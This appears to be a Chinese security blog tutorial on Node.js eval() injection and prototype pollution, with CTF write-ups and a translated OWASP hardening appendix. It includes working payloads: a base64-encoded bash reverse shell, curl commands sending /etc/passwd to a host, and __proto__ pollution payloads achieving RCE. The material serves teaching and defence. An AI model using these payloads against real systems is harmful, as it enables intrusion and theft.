Contents
Node.Js安全
eval()
eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。和PHP中eval函数一样,如果传递到函数中的参数可控并且没有经过严格的过滤时,就会导致漏洞的出现。
1 2 3 4 5 6 7 8 9 10 11 12 |
var express = require("express"); var app = express(); app.get('/eval',function(req,res){ res.send(eval(req.query.q)); console.log(req.query.q); }) var server = app.listen(8888, function() { console.log("应用实例,访问地址为 http://127.0.0.1:8888/"); }) |
利用
执行命令(有回显)
1 2 |
/eval?q=require('child_process').execSync('whoami'); |

反弹shell(linux):
1 2 3 4 5 6 |
/eval?q=require('child_process').exec('echo YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx|base64 -d|bash'); YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx是bash -i >& /dev/tcp/127.0.0.1/3333 0>&1 BASE64编码后的结果,直接调用会报错。 注意:BASE64编码后的字符中有一个+号需要url编码为%2B(一定情况下) |
读取文件(linux), 利用curl的-F参数来将文件内容带外
1 2 |
/eval?q=require('child_process').exec('curl -F "x=`cat /etc/passwd`" http://127.0.0.1'); |
但其实用-d参数来POST DATA也是可以的
1 2 |
require('child_process').exec('curl+-d+"`cat+/etc/passwd`"+http://127.0.0.1'); |

如果上下文中没有require(类似于Code-Breaking 2018 Thejs)
1 2 |
/eval?q=global.process.mainModule.constructor._load('child_process').execSync('whoami'); |
Node.js 原型污染漏洞
Javascript原型链参考文章:继承与原型链
- 在javascript中,每一个实例对象都有一个
prototype
属性,prototype
属性可以向对象添加属性和方法。
例子:
1 2 |
object.prototype.name=value |
- 在javascript中,每一个实例对象都有一个
__proto__
属性,这个实例属性指向对象的原型对象(即原型)。
可以通过以下方式访问得到某一实例对象的原型对象:
1 2 3 4 |
objectname["__proto__"] objectname.__proto__ objectname.constructor.prototype |
- 不同对象所生成的原型链如下(部分):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
var o = {a: 1};// o对象直接继承了Object.prototype // 原型链: // o ---> Object.prototype ---> null var a = ["yo", "whadup", "?"]; // 数组都继承于 Array.prototype // 原型链: // a ---> Array.prototype ---> Object.prototype ---> null function f(){ return 2;} // 函数都继承于 Function.prototype // 原型链: // f ---> Function.prototype ---> Object.prototype ---> null |
原型链污染原理
对于语句:object[a][b] = value
如果可以控制a、b、value的值,将a设置为__proto__
,我们就可以给object对象的原型设置一个b属性,值为value。
这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。
来看一个简单的例子:
1 2 3 4 5 6 |
object1 = {"a":1, "b":2}; object1.__proto__.foo = "Hello World";//赋值 console.log(object1.foo); object2 = {"c":1, "d":2}; console.log(object2.foo); |
看吧, 直接查看object1
,只看到有a
、b
两个属性,但通过__proto__.foo
给它的【原型】赋值后, 查看object1.foo
却出现了Hello World
, 证明【原型】已被污染.
merge操作导致原型链污染
merge
操作是最常见可能控制键名的操作,也最能被原型链攻击。
简单例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
function merge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } }} let object1 = {} let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}') merge(object1, object2) console.log(object1.a, object1.b) object3 = {} console.log(object3.b) |
最终输出的结果为:
1 2 3 |
1 2 2 |
看——object3根本没有b属性,可见b是从原型中获取到的,
说明Object已经被污染了。
同时, 需要注意的点是:在JSON解析的情况下,
__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。
实战
这是一篇价值一万美刀的漏洞报告, 整个挖洞的逻辑是: 先FUZZ参数, 通过报错信息了解到后端是nodejs
, 且使用了Dustjs
这款开源组件, 进而审计到关键的漏洞点, 也就是我们的eval
代码注入点, 然后利用数组, 绕过【对字符串的过滤】,进而实现RCE
[demo.paypal.com] Node.js code injection (RCE)
我将其中涉及到的核心部分代码整理到了下面, 读者可自行复现, 感受一下代码注入的快乐
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
var express = require("express"); var util = require('util'); var app = express(); app.get('/eval',function(req,res){ var foo = util.format("'%s' == 'desktop'", req.query.q); res.send(eval(foo)); console.log(foo); }) var server = app.listen(8888, function() { console.log("应用实例,访问地址为 http://127.0.0.1:8888/"); }) |
这里是一些可用的payload
1 2 3 4 5 6 |
# 反弹shell /eval?q[]=y';require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx|base64 -d|bash');' # 读取/etc/passwd, 发送至vps /eval?q[]=y';require('child_process').exec('curl -F "x=`cat /etc/passwd`" 127.0.0.1')-' |
CodeBreak的Thejs漏洞
- 深入理解JavaScript Prototype污染攻击
- http://code-breaking.com/puzzle/9/
这个题目已经有很多的分析文章了,但因为它是一个比较好的学习原型链污染的题目,还是值得自己再过一遍。题目源码下载:http://code-breaking.com/puzzle/9/直接npm install
可以把需要的模块下载下来。
通过构造chile_process.exec()就可以执行任意代码了。最终可以构造一个简单的Payload作为传递给主页面的的POST数据(windows调用计算器):
1 2 |
{"__proto__":{"sourceURL":"\nglobal.process.mainModule.constructor._load('child_process').exec('calc')//"}} |
(这里直接用require会报错:ReferenceError: require is not definedp神给了一个更好的payload:
1 2 |
{"__proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"}} |
在复现时, 一定要注意请求头中:Content-Type: application/json
, 直接注入即可
CISCN2020 Final-Monster Battle
这是源码, 先npm install
安装依赖, 再node app.js
运行环境即可
题目给了源码, 打斗的逻辑并不复杂, 关键部分其实主要就下面这些
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
<br />let tempPlayer = req.body for ( let i in tempPlayer ) { if (player[i]) { if ( (i == 'career' && !careers.includes(tempPlayer[i])) || (i == 'item' && !items.includes(tempPlayer[i])) || (i == 'round_to_use' && !checkRound(tempPlayer[i])) || tempPlayer[i] === '') { continue } player[i] = tempPlayer[i] //存在可控键名, 即key、value均可控 } } player.num = 1; //player剩余可`使用物品`的次数 player.HP = 100; //HP为血量 player.aggressivity = getPlayerAggressivity() initMonster() res.redirect("/battle") } else { res.redirect("/") } }) |
那么只需污染没有初始化的参数即可,要么【让我们变强】,要么【让怪兽变弱】,显然前者更为容易,因为有一个特殊的机——buff。
在源码中, buff的作用是在计算纯粹伤害的时候体现,因此,只要我们将buff的值设置为很大,即可达到瞬秒怪兽的效果。
1 2 3 4 5 6 7 |
function getPlayerDamageValue() //计算纯粹伤害 { if (player.buff) { return keepTwoDecimal(player.aggressivity+player.buff) } else return player.aggressivity } |
当然,此题还有一点需注意,要想保持高buff, 对人物角色和技能都有一定限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
function triggerPassiveSkill() //触发被动技能 { switch (player.career) { case "warrior": player.buff = 5 return 1 case "high_priest" : player.HP += 10 player.HP = keepTwoDecimal(player.HP) return 2 case 'shooter' : player.buff = 7 return 3 default: return 0 } } |
上面这点, 决定了我们的身份只能是high_priest
, 因为当流程进入其它两个分支时, 都会将buff变为正常值.
而下面的代码, 则决定了我们的技能最好不要是BYZF
, 因为当进入这个分支时, buff值也会变为正常值(可以设定为第二、三回合再使用技能, 但不够暴力没内味儿)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
function playerUseItem(round) { //ZLYG:治疗药膏,使用后回复10点生命值 //BYZF:白银之锋,使用后的一次攻击将触发暴击并造成130%的伤害 //XELD:邪恶镰刀,使用后将对方的一次攻击的攻击力变为80% if (round == player.round_to_use && player.num == 1) { player.num = 0; switch (player.item) { case "ZLYG": player.HP += 10; return 1; case "BYZF": player.buff = player.aggressivity * 0.3; player.buff = keepTwoDecimal(player.buff) return 2; case "XELD": monster.buff = monster.aggressivity * (1 - 0.8) * (-1); monster.buff = keepTwoDecimal(monster.buff) return 3; } } else return 0 } |
最终payload, 同样:请注意请求头Content-Type: application/json
1 2 3 4 5 |
POST /start HTTP/1.1 Content-Type: application/json {"name":1, "round_to_use":2, "career":"high_priest", "item":"BYZF","__proto__":{"buff":10000}} |

附录:OWASP NodeJS security cheatsheet
应用安全
设置请求大小限制
请求主体的缓冲和解析对于服务器而言可能会占用大量资源。如果对请求的大小没有限制,则攻击者可以使用大型请求正文发送请求,从而耗尽服务器内存或填充磁盘空间。
但为【所有请求】都设置请求大小限制可能不是正确的行为,因为某些请求(例如用于将文件上传请求)有更多请求内容。
另外,由于解析JSON是一项阻塞操作,因此使用JSON类型的输入比使用multipart输入更为危险。因此,您应该为不同的内容类型设置请求大小限制。
您可以使用Express中间件非常轻松地完成此任务,如下所示:
app.use(express.urlencoded({ limit: “1kb” }));
app.use(express.json({ limit: “1kb” }));
app.use(express.multipart({ limit:”10mb” }));
app.use(express.limit(“5kb”)); // this will be valid for every other content type
同时应注意,攻击者可以更改请求的内容类型(content type)来绕过请求大小限制。因此,在处理请求之前,应针对请求标头中所述的内容类型验证请求中包含的数据。如果每个请求的内容类型验证严重影响性能,则您只能验证特定的内容类型或请求的大小大于预定大小。
执行输入验证
输入验证是应用程序安全性的关键部分。输入验证失败可能导致许多不同类型的应用程序攻击。其中包括SQL注入,跨站点脚本编写,命令注入,本地/远程文件包含,拒绝服务,目录遍历,LDAP注入和许多其他注入攻击。为了避免这些攻击,应首先清理对应用程序的输入。最好的输入验证技术是使用接受输入的白名单。但是,如果无法做到这一点,则应首先根据预期的输入方案检查输入,并应逃避危险的输入。为了简化Node.js应用程序中的输入验证,提供了一些模块,如 validator和mongo-express-sanitize。有关输入验证的详细信息,请参阅输入验证备忘单。
执行输出转义
除了输入验证之外,您还应转义通过应用程序显示给用户的所有HTML和JavaScript内容,以防止跨站点脚本(XSS)攻击。您可以使用escape-html或node-esapi库执行输出转义。
采取预防措施防止暴力破解
暴力破解是所有Web应用程序的常见威胁。攻击者可以使用暴力破解作为密码猜测攻击来获取帐户密码。因此,应用程序开发人员应采取预防措施,防止暴力攻击,尤其是在登录页面中。 Node.js为此提供了几个模块。Express-bouncer,express-brute和rate-limiter, 它们只是一些示例。
根据您的需求和要求,您应该选择一个或多个这些模块并相应地使用。Express-bouncer和Express-brute模块的工作原理非常相似,它们都会增加失败请求后的延迟。它们都可以安排为特定的路由。这些模块可以按如下方式使用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
var bouncer = require('express-bouncer'); bouncer.whitelist.push('127.0.0.1'); // whitelist an IP address // give a custom error message bouncer.blocked = function (req, res, next, remaining) { res.send(429, "Too many requests have been made. Please wait " + remaining/1000 + " seconds."); }; // route to protect app.post("/login", bouncer.block, function(req, res) { if (LoginFailed){ } else { bouncer.reset( req ); } }); var ExpressBrute = require('express-brute'); var store = new ExpressBrute.MemoryStore(); // stores state locally, don't use this in production var bruteforce = new ExpressBrute(store); app.post('/auth', bruteforce.prevent, // error 429 if we hit this route too often function (req, res, next) { res.send('Success!'); } ); |
除了express-bouncer和express-brute之外,rate-limiter模块还有助于防止强行攻击。它使您能够指定特定IP地址在指定时间段内可以发出多少个请求。
1 2 3 |
var limiter = new RateLimiter(); limiter.addLimit('/login', 'GET', 5, 500); // login page can be requested 5 times at max within 500 seconds |
验证码的使用也是防止暴力破解的另一种常见机制。有为Node.js CAPTCHAs开发的模块。Node.js应用程序中使用的常见模块是svg-captcha。demo如下:
1 2 3 4 5 6 7 8 |
var svgCaptcha = require('svg-captcha'); app.get('/captcha', function (req, res) { var captcha = svgCaptcha.create(); req.session.captcha = captcha.text; res.type('svg'); res.status(200).send(captcha.data); }); |
此外,建议使用帐户锁定来使攻击者远离您的有效用户。使用mongoose之类的许多模块都可以锁定帐户。您可以参考此博客文章,了解如何在mongoose中实现帐户锁定。
使用Anti-CSRF token
跨站点请求伪造(CSRF)旨在代表经过身份验证的用户执行授权的操作,而用户不知道该操作。CSRF攻击通常用于状态更改请求,例如更改密码,添加用户或下订单。Csurf是可用于减轻CSRF攻击的中间件。demo如下:
1 2 3 4 5 6 7 8 9 |
var csrf = require('csurf'); csrfProtection = csrf({ cookie: true }); app.get('/form', csrfProtection, function(req, res) { res.render('send', { csrfToken: req.csrfToken() }) }) app.post('/process', parseForm, csrfProtection, function(req, res) { res.send('data is being processed'); }); |
编写此代码后,您还需要添加csrfToken到HTML表单,可以很容易地完成以下操作:
1 2 |
<input type="hidden" name="_csrf" value=""> |
有关跨站点请求伪造(CSRF)攻击和预防方法的详细信息,您可以参考跨站点请求伪造预防。
防止HTTP参数污染
HTTP参数污染(HPP)是一种攻击方式,攻击者使用相同的名称发送多个HTTP参数,这会使您的应用程序以不可预测的方式解释它们。当发送多个参数值后,Express会将它们填充到数组中。为了解决这个问题,可以使用hpp模块。使用时,该模块将忽略req.query和/或中为参数提交的所有值,req.body而仅选择最后提交的参数值。您可以按以下方式使用它:
var hpp = require(‘hpp’);
app.use(hpp());
使用对象属性描述符
对象属性包括3个隐藏属性:(writable如果为false,则不能更改属性值),enumerable(如果为false,则不能在for循环中使用属性)和configurable(如果为false,则不能删除属性)。通过分配定义对象属性时,这三个隐藏属性默认设置为true。这些属性可以设置如下:
1 2 3 4 5 6 7 8 |
var o = {}; Object.defineProperty(o, "a", { writable: true, enumerable: true, configurable: true, value: "A" }); |
除此之外,还有一些对象属性的特殊功能。Object.preventExtensions()防止将新属性添加到对象。
平台安全性
请勿使用危险功能
有一些JavaScript函数很危险,应尽可能避免使用此类功能和模块, 仅在绝对必要的情况下使用。
第一个例子是【eval()函数】。此函数接受一个字符串参数,并将其作为任何其他JavaScript源代码执行。结合用户输入,此行为固有地导致远程执行代码漏洞。同样,【调用child_process.exec函数】也很危险。该函数充当bash解释器,并将其参数发送到/ bin / sh。通过向此功能注入输入,攻击者可以在服务器上执行任意命令。
除了这些功能之外,还有一些模块在使用时需要特别注意。例如,【fs模块处理文件系统操作】。但是,如果不正确地清理用户输入到该模块,则您的应用程序可能容易受到文件包含和目录遍历漏洞的攻击。同样,该vm模块提供用于在V8虚拟机上下文中编译和运行代码的API。由于它可以自然执行危险的动作,因此应在沙箱中使用它。
公平地说,这些功能和模块均不应使用,但是,应谨慎使用它们,尤其是在与用户输入一起使用时。另外,还有一些其他功能可能会使您的应用程序容易受到攻击, nodejs中常见的危险函数列表如下
1 2 |
下面这些JavaScript函数可用于解析JavaScript代码, 如果它可能被用户控制, 那么就存在RCE的风险. |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
eval first All eval("jsCode"+usercontrolledVal ) Function first if there's one, the last if >1 args All Function("jsCode"+usercontrolledVal ) , Function("arg","arg2","jsCode"+usercontrolledVal ) setTimeout first IIF it is a string All setTimeout("jsCode"+usercontrolledVal ,timeMs) setInterval first IIF it is a string All setInterval("jsCode"+usercontrolledVal ,timMs) setImmediate first IIF it is a string IE 10+ setImmediate("jsCode"+usercontrolledVal ) execScript first IE 6+ execScript("jsCode"+usercontrolledVal ,"JScript") crypto.generateCRMFRequest 5th Firefox 2+ crypto.generateCRMFRequest('CN=0',0,0,null,'jsCode'+usercontrolledVal,384,null,'rsa-dual-use') ScriptElement.src assignedValue All script.src = usercontrolledVal ScriptElement.text assignedValue Explorer script.text = 'jsCode'+usercontrolledVal ScriptElement.textContent assignedValue All but IE<9 script.textContent = 'jsCode'+usercontrolledVal ScriptElement.innerText assignedValue All but Firefox script.innerText = 'jsCode'+usercontrolledVal anyTag.onEventName assignedValue All anyTag.onclick = 'jsCode'+usercontrolledVal |
漏洞利用
简单举个例子
1 2 3 4 5 6 7 8 9 10 11 12 |
var express = require("express"); var app = express(); app.get('/eval',function(req,res){ res.send(eval(req.query.q)); console.log(req.query.q); }) var server = app.listen(8888, function() { console.log("应用实例,访问地址为 http://127.0.0.1:8888/"); }) |
1 2 3 4 5 6 7 8 9 10 11 12 13 |
弹计算器(windows): /eval?q=require('child_process').execSync('calc'); 读取文件(linux): /eval?q=require('child_process').execSync('curl -F "x=`cat /etc/passwd`" http://vps');; 反弹shell(linux): /eval?q=require('child_process').exec('echo YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx|base64 -d|bash');注意: YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx是bash -i >& /dev/tcp/127.0.0.1/3333 0>&1 BASE64加密后的结果,直接调用会报错。且BASE64加密后的字符中有一个+号需要url编码为%2B 如果上下文中没有require(类似于Code-Breaking 2018 Thejs),则可以使用global.process.mainModule.constructor._load('child_process').exec('calc')来执行命令 |
慎用正则表达式
正则表达式拒绝服务(ReDoS)是一种使用正则表达式的拒绝服务攻击。某些正则表达式(Regex)实现会导致极端情况,从而使应用程序非常慢(与输入大小成指数关系)。攻击者可以使用这种正则表达式实现使应用程序陷入这些极端情况并挂起很长时间。
通常,这些正则表达式是通过重复分组和重叠重叠进行开发的。例如,以下正则表达式^(([a-z])+.)+A-Z+$可用于指定Java类名称。但是,很长的字符串(aaaa … aaaaAaaaaa … aaaa)也可以与此正则表达式匹配, 从而导致性能下降。有一些工具可以检查正则表达式是否有可能导致拒绝服务。一个例子是vuln-regex-detector。
使用严格模式
JavaScript具有许多不应该使用的不安全和危险的旧功能。为了删除这些功能,ES5为开发人员提供了严格的模式。使用此模式,将抛出以前静默的错误。它还可以帮助JavaScript引擎执行优化。在严格模式下,以前接受的错误语法会导致实际错误。由于这些改进,您应该始终在应用程序中使用严格模式。为了启用严格模式,您只需要”use strict”;在代码之上编写即可。
以下代码将ReferenceError: Can’t find variable: y在控制台上生成,除非使用严格模式,否则不会显示该代码。
1 2 3 4 5 6 7 |
"use strict"; func(); function func() { y = 3.14; // This will cause an error (y is not defined) } |
遵守一般应用程序安全性原则
该列表主要关注Node.js应用程序中常见的问题。另外,针对这些问题的建议针对于Node.js环境。除此之外,无论应用程序服务器中使用哪种技术,都有适用于Web应用程序的一般设计安全原则。在开发应用程序时,还应牢记这些原则。另外,您始终可以参考OWASP备忘单系列,以了解有关Web应用程序漏洞和针对这些漏洞的缓解技术的更多信息。
参考文章
- Node.js 常见漏洞学习与总结
- 继承与原型链 – JavaScript | MDN
- JavaScript 原型链污染
- 靶场
- https://owasp.org/www-project-node.js-goat/
- https://nodegoat.herokuapp.com/tutorial/a3
- cheatsheet Nodejs_Security_Cheat_Sheet.html#objective
- https://github.com/lirantal/awesome-nodejs-security#web-framework-hardening
发表评论